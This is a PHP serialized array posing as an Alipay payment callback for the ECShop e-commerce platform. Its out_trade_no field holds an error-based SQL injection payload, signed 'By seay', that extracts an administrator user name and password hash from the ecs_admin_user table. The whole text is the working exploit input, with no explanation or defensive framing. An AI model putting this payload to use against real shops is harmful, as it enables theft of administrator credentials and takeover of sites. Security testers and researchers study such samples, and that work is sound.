a:3:{s:4:"code";s:6:"alipay";s:7:"subject";s:1:"0";s:12:"out_trade_no";s:189:"' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,0x7c,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) -- By seay";}